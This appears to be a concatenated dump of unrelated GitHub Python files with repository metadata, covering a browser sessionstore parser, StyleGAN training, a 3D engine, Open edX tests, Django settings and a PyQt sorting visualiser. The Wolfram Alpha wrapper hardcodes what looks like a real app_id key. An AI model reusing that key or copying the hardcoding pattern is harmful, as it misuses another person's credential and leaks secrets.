fields\r\n        jsonEntry['Path'] = treePath\r\n        jsonEntry['lastUpdated'] = strLastUpdated\r\n\r\n        # Print to CSV\r\n        if csvWriter != None:\r\n            csvWriter.writerow(jsonEntry)\r\n       \r\n\r\n\r\n\r\n\r\n\r\nif __name__ == '__main__':\r\n\r\n    print(intUnixMSToDateTime(1289247439269))\r\n    # Open input/output files\r\n    debugMessage(\"Opening Required Files\", 1)\r\n    inFile = open('sessionstore.js', 'r')\r\n    outWriter = csvWriter(FIELDS, 'sessionstore.js.csv')\r\n\r\n    # Read all '{\"url\":' entries in input file\r\n    debugMessage(\"Reading JSON Entries\", 1)\r\n    entries = findJsonEntries(inFile.read(), csvWriter=outWriter)\r\n\r\n    # Cleanup\r\n    inFile.close()\r\n    outWriter.close()\r\n    debugMessage(\"Done.\", 1)\r\n\r\n   \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"rarosalion/sessionstoreParser","sub_path":"sessionstore-parse.py","file_name":"sessionstore-parse.py","file_ext":"py","file_size_in_byte":10576,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"25341767125","text":"from typing import Dict, Any\nfrom uuid import UUID\n\nimport requests\n\nfrom api_utils.modules.api_sdk_jwt import ApiSdkJwt     # noqa: E0401\nfrom notification_sdk.notification_sdk_config import NotificationSdkConfig\n\n\nclass NotificationSdk:\n\n    def __init__(self, config: NotificationSdkConfig) -> None:\n        self._config = config\n\n    def send_email_message(self, template_id: UUID, template_data: Dict[str, Any], email_to: str, token: ApiSdkJwt) -> Dict[str, Any]:\n        auth_header = {'Authorization': f'Bearer {token}'}\n        template_payload = {\n            'template_data': template_data,\n            'email_to': email_to,\n        }\n        result = requests.post(\n            f'{self._config.api_url}/'\n            f'api/v1/templates/{template_id}/emails',\n            json=template_payload,\n            headers=auth_header,\n        )\n        result.raise_for_status()\n        return result.json()\n","repo_name":"ArturManuilenko/ul_common_service_notification","sub_path":"notification_sdk/notification_sdk.py","file_name":"notification_sdk.py","file_ext":"py","file_size_in_byte":911,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"325149106","text":"import torch\nfrom torch import nn, autograd, optim\nfrom torch.nn import functional as F\nfrom stylegan2.stylegan2_pytorch.model import Generator, MLP\nfrom stylegan2.stylegan2_pytorch.model import Discriminator\nfrom torch.utils.data import DataLoader\nfrom criteria.lpips.lpips import LPIPS\nfrom torchvision import utils, transforms\nfrom stylegan2.stylegan2_pytorch.train import g_path_regularize, make_noise, mixing_noise, d_r1_loss\nfrom configs import transforms_config\nfrom datasets.images_dataset import ImagesDataset\nfrom stylegan2.stylegan2_pytorch.non_leaking import augment, AdaptiveAugment\n\nfrom torch.utils.tensorboard import SummaryWriter\nimport numpy as np\n\nwriter = SummaryWriter(log_dir='outcome/log8')\n\n\ndef adv_loss(y_fake, y_real):\n    # adv_loss = torch.min(0, -1 + y_real) + torch.min(0, -1 - y_fake)\n    # return adv_loss\n    real_loss = F.softplus(-y_real)\n    fake_loss = F.softplus(y_fake)\n\n    return real_loss.mean() + fake_loss.mean()\n\n\ndef g_nonsaturating_loss(fake_pred):\n    loss = F.softplus(-fake_pred).mean()\n\n    return loss\n\n\ndef requires_grad(model, flag=True):\n    for p in model.parameters():\n        p.requires_grad = flag\n\n\ndef configure_datasets():\n    transforms_dict = transforms_config.EncodeTransforms.get_transforms()\n    train_dataset = ImagesDataset(source_root='/home/ai/project/dataset/agile_train',\n                                  source_transform=transforms_dict['transform_gt_train']\n                                  )\n    test_dataset = ImagesDataset(source_root='/home/ai/project/dataset/portrait2_test',\n                                 source_transform=transforms_dict['transform_gt_train']\n                                 )\n\n    print(f\"Number of training samples: {len(train_dataset)}\")\n    print(f\"Number of test samples: {len(test_dataset)}\")\n    return train_dataset, test_dataset\n\n\ndef train():\n    G_path = \"/home/ai/project/agile3/pretrained_models/stylegan2-ffhq-config-f.pt\"\n    device0 = 'cuda:0'\n    device1 = 'cuda:1'\n    batch_size = 2\n    output_size = 1024\n    learning_rate = 0.0002\n    w1 = 1\n    w2 = 0.4\n\n    # load generator0 and genetator t\n    G0 = Generator(output_size, 512, 8).to(device0)\n    Gt = Generator(output_size, 512, 8).to(device1)\n    checkpoint = torch.load(G_path)\n    G0.load_state_dict(checkpoint[\"g_ema\"], strict=False)\n    Gt.load_state_dict(checkpoint[\"g_ema\"], strict=False)\n    mlp = MLP(1024, 512, 8).to(device0)\n    mlp.load_state_dict(checkpoint[\"g_ema\"], strict=False)\n    # load discriminator\n    D = Discriminator(size=1024).to(device1)\n    D.load_state_dict(checkpoint[\"d\"], strict=True)\n\n    train_dataset, test_dataset = configure_datasets()\n    train_loader = DataLoader(train_dataset,\n                              batch_size,\n                              shuffle=True,\n                              num_workers=4,\n                              drop_last=True,\n                              )\n\n    lpips = LPIPS(net_type='vgg').to(device0).eval()  # DISCARD 9 LAYERS\n\n    loss_dict = {}\n    num_epochs = 1000\n    Gt_optim = optim.Adam(Gt.parameters(), lr=learning_rate)\n    D_optim = optim.Adam(D.parameters(), lr=learning_rate)\n\n    number = 0\n    for epoch in range(num_epochs):\n        for batch_idx, batch in enumerate(train_loader):\n            number += 1\n            real_img = batch\n\n            real_img = real_img.to(device0)\n            real_img = F.interpolate(real_img, size=[1024, 1024])\n\n            # Update discriminator\n            requires_grad(Gt, False)\n            requires_grad(G0, False)\n            requires_grad(D, True)\n\n            # noise = mixing_noise(batch_size, latent_dim=512, prob=0.9, device=device0)\n            noise = torch.randn(batch_size, 18, 512).to(device0).unbind(0)\n            z = mlp(noise)\n            z = torch.stack(z, dim=0).to(device1)\n            fake_img_t = Gt(z, input_is_latent=True, noise=None, return_latents=False)\n            fake_img_t = fake_img_t.detach()\n\n            #fake_img_t256 = F.interpolate(fake_img_t, size = [256, 256])\n            y_fake = D(fake_img_t)\n            y_real = D(real_img.to(device1))\n\n            loss_adv = adv_loss(y_fake, y_real)\n            D_loss = loss_adv\n            loss_dict[\"d\"] = D_loss.to(device0)\n\n            D.zero_grad()\n            D_loss.backward()\n            D_optim.step()\n\n\n            real_img.requires_grad = True\n            y_real = D(real_img.to(device1))\n            r1_loss = d_r1_loss(y_real, real_img)\n            D.zero_grad()\n            r1_loss.backward()\n            D_optim.step()\n            loss_dict[\"r1\"] = r1_loss.to(device0)\n\n\n\n            # Update generator\n            requires_grad(Gt, True)\n            requires_grad(G0, False)\n            requires_grad(D, False)\n\n\n            z0 = torch.randn(batch_size, 18, 512, device=device1)\n            z = mlp(z0.to(device0))\n            z = torch.stack(z, dim=0)\n            fake_img_t = Gt(z.to(device1), input_is_latent=True, noise=None, return_latents=False)\n            #fake_img_t256 = F.interpolate(fake_img_t, size=[256, 256])\n\n            y_fake = D(fake_img_t)\n            nonsaturating_loss = g_nonsaturating_loss(y_fake).to(device0)\n            loss_dict[\"nonsa_loss\"] = nonsaturating_loss\n\n            fake_img_0 = G0(z, input_is_latent=True, noise=None).detach()\n            lpips_loss = lpips(fake_img_t.to(device0), fake_img_0).to(device0)\n            loss_dict[\"lpip_loss\"] = lpips_loss\n\n            if number % 20 == 0:\n                image = torch.cat((fake_img_0.to(device0), fake_img_t.to(device0)), 0)\n                utils.save_image(\n                    image,\n                    \"outcome/images8/\" + str(number) + \"output.jpg\",\n                    nrow=2,\n                    normalize=True,\n                    range=(-1, 1),\n                )\n\n\n            Gt_loss =  w1 * lpips_loss + w2 * nonsaturating_loss\n            loss_dict[\"g\"] =  Gt_loss\n\n            Gt.zero_grad()\n            Gt_loss.backward()\n            Gt_optim.step()\n\n\n            z0 = torch.randn(batch_size, 18, 512, device=device0)\n            z = mlp(z0)\n            z = torch.stack(z, dim=0).to(device1)\n            fake_img_t, latents = Gt(z, input_is_latent=True, noise=None, return_latents=True)\n\n            path_loss, mean_path_length, path_lengths = g_path_regularize(fake_img_t, latents, mean_path_length=0)\n\n            Gt.zero_grad()\n            path_loss = 2 * path_loss\n            loss_dict[\"path\"] = path_loss.to(device0)\n            path_loss.backward()\n            Gt_optim.step()\n\n\n\n            if number % 20 == 0:\n                print(\"step:   \", number)\n                print(\"d loss:      \", loss_dict[\"d\"].item())\n                print(\"g loss:     \", loss_dict[\"g\"].item())\n                print(\"nonsa loss:   \", loss_dict[\"nonsa_loss\"].item())\n                print(\"lpip loss:   \", loss_dict[\"lpip_loss\"].item())\n                print(\"r1 loss:   \", loss_dict[\"r1\"].item())\n                print(\"path loss:   \", loss_dict[\"path\"].item())\n\n                values = loss_dict.values()\n                print(\"loss:        \", loss_dict[\"g\"].item() + loss_dict[\"d\"].item())\n                print()\n\n                writer.add_scalar('Loss/train/total', loss_dict[\"g\"].item() + loss_dict[\"d\"].item(), number)\n                writer.add_scalar('Loss/train/total', loss_dict[\"nonsa_loss\"].item(), number)\n                writer.add_scalar('Loss/train/total', loss_dict[\"lpip_loss\"].item(), number)\n                writer.add_scalar('Loss/train/total', loss_dict[\"r1\"].item(), number)\n                writer.add_scalar('Loss/train/total', loss_dict[\"path\"].item(), number)\n                writer.add_scalar('Loss/train/d', loss_dict[\"d\"].item(), number)\n                writer.add_scalar('Loss/train/g2', loss_dict[\"g\"].item(), number)\n\n\n            if ((epoch + 1) * batch_idx) % 50  == 0:\n                state = {'Gt': Gt.state_dict()}\n                torch.save(state, '/home/ai/project/agile_stage2/outcome/model_save8/Gt' +  str(number) +'.pth')\n\n\ntrain()\n","repo_name":"ecielyang/AgileGAN","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":7977,"program_lang":"python","lang":"en","doc_type":"code","stars":48,"dataset":"github-code","pt":"3"}
+{"seq_id":"7731873021","text":"import numpy as np\n\nD = 1 # Offset value (for depth)\n\nclass CustomEngine(object):\n    def __init__(self):\n        # Connections necessary to make faces of a rectangular prism\n        self.faces = [[1, 5, 4, 0], # Back\n                      [1, 0, 2, 3], # Left\n                      [5, 7, 6, 4], # Right\n                      [0, 4, 6, 2], # Bottom\n                      [1, 5, 7, 3], # Top\n                      [3, 7, 6, 2]] # Front\n\n    # Get 2D coordinates of a shape's faces given 3D coordinates\n    def getFaceCoords(self, shape, cx, cy, ax, ay, az):\n        original = np.copy(shape) # Keep copy of shape for later comparison\n        faceCoords = []\n\n        # Rotate shape by given x/y/z angles (ax, ay, az)\n        shape = self.rotateShape(shape, ax, ay, az)\n\n        # Get translated coordinates for each point\n        for f in self.faces:\n            x1, y1 = self.translate(shape[0][f[0]], shape[1][f[0]], cx, cy)\n            x2, y2 = self.translate(shape[0][f[1]], shape[1][f[1]], cx, cy)\n            x3, y3 = self.translate(shape[0][f[2]], shape[1][f[2]], cx, cy)\n            x4, y4 = self.translate(shape[0][f[3]], shape[1][f[3]], cx, cy)\n            avgZ = np.average([shape[2][f[0]], shape[2][f[1]], shape[2][f[2]],\n                               shape[2][f[3]]])\n            faceCoords.append((x1, y1, x2, y2, x3, y3, x4, y4, avgZ))\n\n        # Return model, faces, and the average z-index of model\n        return (original, faceCoords, np.average(shape[2]))\n\n    # Translate lightsaber to correct 2D position for tkinter\n    def translate(self, x, y, cx, cy):\n        return x + cx, y + cy\n\n    # Rotate shape in all 3 dimensions given x/y/z rotations\n    # Matrices found here: https://en.wikipedia.org/wiki/Rotation_matrix\n    def rotateShape(self, shape, x, y, z):\n        # Rotation matrices for all 3 axes\n        rotX = np.asarray([[1, 0, 0],\n                [0, np.cos(x), -np.sin(x)],\n                [0, np.sin(x),  np.cos(x)]])\n        rotY = np.asarray([[ np.cos(y), 0, np.sin(y)],\n                [0, 1, 0],\n                [-np.sin(y), 0, np.cos(y)]])\n        rotZ = np.asarray([[ np.cos(z), np.sin(z), 0],\n                [-np.sin(z), np.cos(z), 0],\n                [0, 0, 1]])\n        # @ – numpy's matrix multiplication operator\n        return rotX @ rotY @ rotZ @ shape","repo_name":"navidmx/lightsaber-pong","sub_path":"engine.py","file_name":"engine.py","file_ext":"py","file_size_in_byte":2307,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"29670773277","text":"\"\"\"\n * ***** BEGIN GPL LICENSE BLOCK *****\n *\n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software Foundation,\n * Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.\n *\n * Contributor(s): Julien Duroure.\n *\n * ***** END GPL LICENSE BLOCK *****\n * This development is done in strong collaboration with Airbus Defence & Space\n \"\"\"\n\nfrom ..node import *\n\nclass Scene():\n    def __init__(self, index, json, gltf):\n        self.json = json   # Scene json\n        self.gltf = gltf # Reference to global glTF instance\n        self.nodes = {}\n\n    def read(self):\n        if 'name' in self.json.keys():\n            self.name = self.json['name']\n            self.gltf.log.info(\"Scene \" + self.json['name'])\n        else:\n            self.name = None\n            self.gltf.log.info(\"Scene...\")\n\n\n        for node_idx in self.json['nodes']:\n            node = Node(node_idx, self.gltf.json['nodes'][node_idx], self.gltf, True, self)\n            node.read()\n            node.debug_missing()\n            self.nodes[node_idx] = node\n\n        for skin in self.gltf.skins.values():\n            if skin.root != skin.bones[0]:\n                # skin.bones.insert(0, skin.root)\n                self.nodes[skin.root].is_joint = True\n                self.nodes[skin.root].skin_id = skin.index\n\n    def debug_missing(self):\n        keys = [\n                'nodes',\n                'name'\n                ]\n\n        for key in self.json.keys():\n            if key not in keys:\n                self.gltf.log.debug(\"SCENE MISSING \" + key)\n","repo_name":"sketchfab/gltf2-blender-importer","sub_path":"gltf/scene/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2113,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"3"}
+{"seq_id":"13070091946","text":"class Node:\n    def __init__(self, val=None,\n                 left=None, right=None):\n        self.val = val\n        self.left = left\n        self.right = right\n\n\nif __name__ == '__main__':\n    plus = Node('+')\n    node2 = Node('2')\n    node3 = Node('3')\n    plus.left = node2\n    plus.right = node3\n\n    # Build/connect root to + *\n    multiply = Node('*')\n    node4 = Node('4')\n\n    multiply.left = plus\n    multiply.right = node4\n","repo_name":"vZyx/Python-notes","sub_path":"-DSA/08 Binary Tree/03 Binary Tree Traversal 1/(2+3)_4.py","file_name":"(2+3)_4.py","file_ext":"py","file_size_in_byte":433,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"12604358723","text":"\"\"\"\nUnit tests for student optouts from course email\n\"\"\"\n\n\nimport json\nfrom unittest.mock import Mock, patch\n\nfrom django.core import mail\nfrom django.core.management import call_command\nfrom django.urls import reverse\n\nfrom common.djangoapps.student.tests.factories import AdminFactory, CourseEnrollmentFactory, UserFactory\nfrom lms.djangoapps.bulk_email.models import BulkEmailFlag, Optout\nfrom lms.djangoapps.bulk_email.signals import force_optout_all\nfrom xmodule.modulestore.tests.django_utils import ModuleStoreTestCase  # lint-amnesty, pylint: disable=wrong-import-order\nfrom xmodule.modulestore.tests.factories import CourseFactory  # lint-amnesty, pylint: disable=wrong-import-order\n\n\n@patch('lms.djangoapps.bulk_email.models.html_to_text', Mock(return_value='Mocking CourseEmail.text_message', autospec=True))  # lint-amnesty, pylint: disable=line-too-long\nclass TestOptoutCourseEmailsBySignal(ModuleStoreTestCase):\n    \"\"\"\n    Tests that the force_optout_all signal receiver opts the user out of course emails\n    \"\"\"\n\n    def setUp(self):\n        super().setUp()\n        self.course = CourseFactory.create(run='testcourse1', display_name=\"Test Course Title\")\n        self.instructor = AdminFactory.create()\n        self.student = UserFactory.create()\n        self.enrollment = CourseEnrollmentFactory.create(user=self.student, course_id=self.course.id)\n\n        # load initial content (since we don't run migrations as part of tests):\n        call_command(\"loaddata\", \"course_email_template.json\")\n\n        self.client.login(username=self.student.username, password=self.TEST_PASSWORD)\n\n        self.send_mail_url = reverse('send_email', kwargs={'course_id': str(self.course.id)})\n        self.success_content = {\n            'course_id': str(self.course.id),\n            'success': True,\n        }\n        BulkEmailFlag.objects.create(enabled=True, require_course_email_auth=False)\n\n    def test_optout_row_created_on_signal(self):\n        \"\"\"\n        Make sure the correct row is created for a user enrolled in a course\n        \"\"\"\n        force_optout_all(sender=self.__class__, user=self.student)\n        assert Optout.objects.filter(user=self.student, course_id=self.course.id).count() == 1\n\n    def send_test_email(self):\n        \"\"\"\n        Navigate to the instructor dash's email view to send bulk email\n        \"\"\"\n        # Pull up email view on instructor dashboard\n        url = reverse('instructor_dashboard', kwargs={'course_id': str(self.course.id)})\n        response = self.client.get(url)\n        email_section = '<div class=\"vert-left send-email\" id=\"section-send-email\">'\n\n        # If this fails, it is likely because BulkEmailFlag.is_enabled() is set to False\n        self.assertContains(response, email_section)\n\n        test_email = {\n            'action': 'Send email',\n            'send_to': '[\"myself\", \"staff\", \"learners\"]',\n            'subject': 'test subject for all',\n            'message': 'test message for all'\n        }\n        response = self.client.post(self.send_mail_url, test_email)\n        assert json.loads(response.content.decode('utf-8')) == self.success_content\n\n    def test_optout_course(self):\n        \"\"\"\n        Make sure student does not receive course email after being opted out\n        \"\"\"\n        # Use the signal receiver to for the opt-out\n        force_optout_all(sender=self.__class__, user=self.student)\n\n        # Try to send a bulk course email\n        self.client.login(username=self.instructor.username, password=self.TEST_PASSWORD)\n        self.send_test_email()\n\n        # Assert that self.student.email not in mail.to, outbox should only contain \"myself\" target\n        assert len(mail.outbox) == 1\n        assert len(mail.outbox[0].to) == 1\n        assert mail.outbox[0].to[0] == self.instructor.email\n","repo_name":"openedx/edx-platform","sub_path":"lms/djangoapps/bulk_email/tests/test_signals.py","file_name":"test_signals.py","file_ext":"py","file_size_in_byte":3782,"program_lang":"python","lang":"en","doc_type":"code","stars":6774,"dataset":"github-code","pt":"3"}
+{"seq_id":"7952880734","text":"import wolframalpha\n\n\nclass Calculate:\n\n    @staticmethod\n    def makeCalculations(text):\n        app_id = \"L52Y7X-8LJK6XHPQ9\"\n        client = wolframalpha.Client(app_id)\n        res = client.query(text)\n        try:\n            answer = next(res.results).text\n            return f\"The answer is {answer}\"\n        except:\n            return \"Oh i missed that, try again\"\n\n","repo_name":"Dziomek/kasta-virtual-assistant","sub_path":"kasta/wolfram/wolframAlpha.py","file_name":"wolframAlpha.py","file_ext":"py","file_size_in_byte":373,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"}
+{"seq_id":"26230763703","text":"import pandas as pd \nimport matplotlib.pyplot as plt\nplt.rc('figure', figsize=(20,10))\n\ndados = pd.read_csv('HIST_PAINEL_COVIDBR_Parte3_13jun2021.csv', ';')  # Impotando a BAse de dados\n\ndata_recente = dados.data >= '2021-05-01'  # selecionando somente os dados com a data depois de 2021-05-01\n\ndados1 = dados[data_recente]     \n\nscs = dados1[dados1.municipio == 'São Caetano do Sul']  # selecionando os dados de scs\n\nscs.index = scs.data  # trocando o numero do index pela data \n\n\n# criando o grafico com o total de novos casos de covid por dia \nfig1 = scs[['casosNovos']].plot.bar(color='purple')\nfig1.set_title('TOTAL DE NOVOS CASOS DE COVID POR DIA(SCS)',{'fontsize': 26})\nfig1.set_ylabel('TOTAL DE CASOS', {'fontsize': 22})\nfig1.set_xlabel('DATA', {'fontsize': 19})\nfig1.tick_params(labelsize=17)\n\n# criando o grafico de total de obitos por dia \nfig2 = scs[['obitosNovos']].plot.bar(color='blue')\nfig2.set_title('TOTAL DE ÓBITOS POR DIA (SCS)',{'fontsize': 26})\nfig2.set_ylabel('TOTAL DE ÓBITOS', {'fontsize': 22})\nfig2.set_xlabel('DATA', {'fontsize': 19})\n\n","repo_name":"Marcelo-Augusto-Silva/Grafico-de-dados-da-covid-em-Sao-caetano-do-Sul","sub_path":"principal.py","file_name":"principal.py","file_ext":"py","file_size_in_byte":1066,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"8265601232","text":"import collections\nimport numpy as np\nimport uncertainties\nimport pint\nfrom uncertainties import ufloat\nfrom uncertainties import ufloat_fromstr\nfrom pint import UnitRegistry\nimport string\nimport latex\nfrom uncertainties.unumpy import (nominal_values as noms, std_devs as stds)\nimport uncertainties.unumpy as unp\nimport scipy.constants as const\nureg = UnitRegistry()\nQ_ = ureg.Quantity\n\n\ndef Brennweite_Bessel(e, d):\n    return (e**2- d**2) / (4 * e)\n\nclass Latexdocument(object):\n    def __init__(self, filename):\n        self.name = filename\n\n    def tabular(self, spalten, header, places, caption, label):\n        with open(self.name, 'w') as f:\n            f.write('\\\\begin{table} \\n\\\\centering \\n\\\\caption{' + caption + '} \\n\\\\label{tab: ' + label + '} \\n\\\\begin{tabular}{')\n            f.write(len(spalten) * 'S ')\n            f.write('} \\n\\\\toprule  \\n')\n            f.write(header + '  \\\\\\ \\n')\n            f.write('\\\\midrule  \\n ')\n            for i in range(0, len(spalten[0])):\n                for j in range(0, len(spalten)):\n                    if j == len(spalten) - 1:\n                        f.write(('{:.' + str(places[j]) + 'f}' + '\\\\\\ \\n').format(spalten[j][i]))\n                    else:\n                        f.write(('{:.' + str(places[j]) + 'f} ' + ' & ').format(spalten[j][i]))\n            f.write('\\\\bottomrule \\n\\\\end{tabular} \\n\\\\end{table}')\n\n### Impuls-Echo-Verfahren ###\n\npuls_1 = np.array([[0.9, 0.97, 0.98, 1, 0.97, 0.98, 0.97, 1],\n                   [0.4, 0.4, 0.5, 0.4, 0.4, 0.5, 0.4, 0.5]\n                   ])\n\npuls_2 = np.array([[0.17, 0.02, 0.01, 0.12, 0.25, 0.19, 0.04, 0.12],\n                  [30.3, 59.8, 59.8, 76.49, 23.7, 29.8, 46.2, 75.7]\n                  ])\n\n\n### Durchschallungsverfahren ###\n\nlaufzeit_2 = np.array([15.21, 29.78, 30.18, 38.48, 11.98, 15.21, 23.27])\n\n### Spektrale Analyse und Cepstrum ###\n\npeakdifferenzen = np.array([37.1 - 29.8, 41.6 - 37.1, 41.6 - 29.8])\n\n### Auge ###\n\nauge = np.array([[0.2, 6.22, 4.61, 5.76, 41.7],\n                [0.2, 6.64, 11.05, 16.81, 70.26]]) # erster Eintrag Peakabstände, zweiter Eintrag die Absoluten Abstände\n\n\nLatexdocument('Tabelle_Impuls-Echo.tex').tabular([puls_1[0, :], puls_1[1, :], puls_2[0, :], puls_2[1, :]], r'{$\\su{U}\\ua{1}$ in $\\si{\\volt}$} & {$t_1$ in $\\si{\\mu\\second}$} & {$\\su{U}\\ua{2}$ in $\\si{\\volt}$} & {$t_2$ in $\\si{\\mu\\second}$}', [2, 2, 2, 2], caption = r'Messdaten zu dem Impuls-Echo-Verfahren. Die Werte sind den Zylindern 1 - 7 derReihe nach zuzuordnen. Der achte Messert entspricht einem Zylinder der Länge $\\su{Z}_1 + \\su{Z}_7$.', label = 'Messdaten')\n\nLatexdocument('Tabelle_Durchschallung.tex').tabular([laufzeit_2], '{Laufzeiten in \\si{\\mu\\second}}', [2], caption = 'Messdaten zu dem Durchschallungsverfahren. Die Messdaten sind der Reihe nach den Zylindern 1 - 7 zuzuordnen.', label = 'tab:durchschall')\n\nLatexdocument('Tabelle_Auge.tex').tabular([auge[0, :], auge[1, :]], '{Peakabstand $\\Delta_{\\symup{peak}}$ in \\si{\\mu\\second}}  & {Absoluter Abstand}', [2, 2], caption = 'Messdaten zur biometrischen Untersuchung des Auges. Die Messdaten sind der Reihe den Bestandteile des Auges zuzuordnen.', label = 'tab:Auge')\n","repo_name":"smjhnits/Praktikum_TU_D_16-17","sub_path":"Anfängerpraktikum/Protokolle/US1/Python/latex.py","file_name":"latex.py","file_ext":"py","file_size_in_byte":3151,"program_lang":"python","lang":"de","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"20485136128","text":"import numpy as np\n\nfrom ..constants import FUTURES\nfrom ..utils.contracts import get_front_contract\n\n\nclass PositionSizingFuture():\n\n    def __init__(self, broker, indicators, market_data):\n        self.broker = broker\n        self.indicators = indicators\n        self.market_data = market_data\n        self.nav = np.NaN\n\n    def get_average_true_range_risk(self, stem, leverage):\n        average_true_range = self.indicators.get_average_true_range(\n            stem)\n        if np.isnan(average_true_range):\n            return 0\n        _, front_ric = get_front_contract(\n            day=self.broker.day,\n            stem=stem)\n        day = self.broker.day\n        full_point_value = FUTURES[stem]['FullPointValue']\n        currency = FUTURES[stem]['Currency']\n        full_point_value_usd = full_point_value * \\\n            self.broker.forex.to_usd(currency, day)\n        contract_number = self.nav * 0.002 / \\\n            (average_true_range * full_point_value_usd) * leverage\n        return contract_number\n\n    def get_volatility_risk(self, stem, leverage):\n        volatility_weight = self.indicators.get_volatility_weight(stem)\n        _, front_ric = get_front_contract(\n            day=self.broker.day,\n            stem=stem)\n        day = self.broker.day\n        row = self.market_data.bardata(ric=front_ric, day=day)\n        close = row['CLOSE'][0]\n        full_point_value = FUTURES[stem]['FullPointValue']\n        currency = FUTURES[stem]['Currency']\n        full_point_value_usd = full_point_value * \\\n            self.broker.forex.to_usd(currency, day)\n        contract_number = self.nav * volatility_weight * \\\n            leverage / (close * full_point_value_usd)\n        return contract_number\n\n    def set_nav(self, nav):\n        self.nav = nav\n","repo_name":"webclinic017/common-1","sub_path":"core/position_sizing.py","file_name":"position_sizing.py","file_ext":"py","file_size_in_byte":1765,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"12745651049","text":"import os\nfrom .common import *\n\n\nDEBUG = False\nTEMPLATE_DEBUG = False\n\n# DB\nPOSTGIS_VERSION = (2, 1, 5)\n\n# Push notifications\nPUSH_NOTIFICATIONS_SETTINGS.update({\n    'APNS_CERTIFICATE': os.path.join(BASE_DIR, 'config/apns/prod/certkey.pem'),\n})\n\n# S3\nINSTALLED_APPS += ('storages',)\nSTATICFILES_STORAGE = 'rallytap.storage.S3CachedStorage'\nAWS_ACCESS_KEY_ID = os.environ['AWS_ACCESS_KEY_ID']\nAWS_SECRET_ACCESS_KEY = os.environ['AWS_SECRET_ACCESS_KEY']\nAWS_STORAGE_BUCKET_NAME = os.environ['AWS_STORAGE_BUCKET_NAME']\nAWS_S3_CUSTOM_DOMAIN = os.environ['AWS_S3_CUSTOM_DOMAIN']\nAWS_HEADERS = {\n    'x-amz-acl': 'public-read',\n}\nAWS_S3_FILE_OVERWRITE = False\nAWS_QUERYSTRING_AUTH = False\nAWS_IS_GZIPPED = True\nSTATIC_URL = 'https://{domain}/'.format(domain=AWS_S3_CUSTOM_DOMAIN)\n\n# Cache\nCACHES = {\n    'default': {\n        'BACKEND': 'django_bmemcached.memcached.BMemcached',\n    },\n}\n","repo_name":"mkolodny/down-server","sub_path":"rallytap/settings/prod.py","file_name":"prod.py","file_ext":"py","file_size_in_byte":883,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"70047107921","text":"\r\nfrom datetime import datetime\r\nfrom PyQt5.QtCore import QTime, QTimer\r\nfrom PyQt5 import QtCore, QtGui, QtWidgets\r\nfrom PyQt5.QtWidgets import *\r\nfrom PyQt5.QtGui import *\r\nimport re\r\nimport sys\r\nimport sorting_panel_graphical \r\nimport control_panel_graphical2\r\nimport SecondaryFile\r\nimport sqlite3\r\n\r\n\r\nfile_location = \"*your file loaction*\\\\NEA visual representation of sorting algos\\\\white.png\"\r\nclass SecondWindow(QtWidgets.QMainWindow, sorting_panel_graphical.Ui_MainWindow):              # +\r\n    def __init__(self):\r\n        super(SecondWindow, self).__init__()\r\n        self.setupUi(self)\r\n        \r\n        self.showFullScreen()\r\n        \r\n        self.call_in_image(file_location)\r\n        self.pixmap = QPixmap(file_location)\r\n        self.scale = 1\r\n\r\n    def zooming(self,zoom,file_location,way):\r\n\r\n        if zoom == True:\r\n            if way == True:\r\n                self.scale *= 1.5\r\n            else:\r\n                self.scale *= 0.5\r\n        else:\r\n            self.pixmap = QPixmap(file_location)\r\n        \r\n        size = self.pixmap.size()\r\n\r\n        scaled_pixmap = self.pixmap.scaled(self.scale * size)\r\n\r\n        self.label_2.setPixmap(scaled_pixmap)\r\n\r\n\r\n\r\n    def call_in_image(self, file_location):\r\n        self.label_2.setPixmap(QtGui.QPixmap(file_location))\r\n        \r\n\r\n    def display_randomized(self,location):      \r\n        self.label_2.setPixmap(QtGui.QPixmap(location))\r\n        self.zooming(False, location, False)\r\n\r\n    def display_randomized2(self,location):      \r\n            self.label_2.setPixmap(QtGui.QPixmap(location))\r\n            self.zooming(False, location, False)\r\n            QApplication.processEvents()\r\n\r\n    def close(self):\r\n        sys.exit()\r\n\r\n\r\nclass MainWindow(QtWidgets.QMainWindow, control_panel_graphical2.Ui_MainWindow):   \r\n\r\n    def __init__(self):\r\n        super(MainWindow, self).__init__()\r\n        self.setupUi(self) \r\n        \r\n        #adding items to combo box\r\n        self.comboBox.addItem(\"Insertion\") \r\n        self.comboBox.addItem(\"Shell\") \r\n        self.comboBox.addItem(\"Bubble\") \r\n        self.comboBox.addItem(\"Cocktail\") \r\n        self.comboBox.addItem(\"Quick\")\r\n        self.comboBox.addItem(\"Selection\") \r\n        self.comboBox.addItem(\"Radix\") \r\n        self.comboBox.addItem(\"Bucket\")\r\n        self.comboBox.addItem(\"Heap\") \r\n        self.image_chosen = False\r\n        self.randomized = False\r\n        self.randomizeddone = False\r\n        self.textEdit_2.setText(\"0.0s\")\r\n        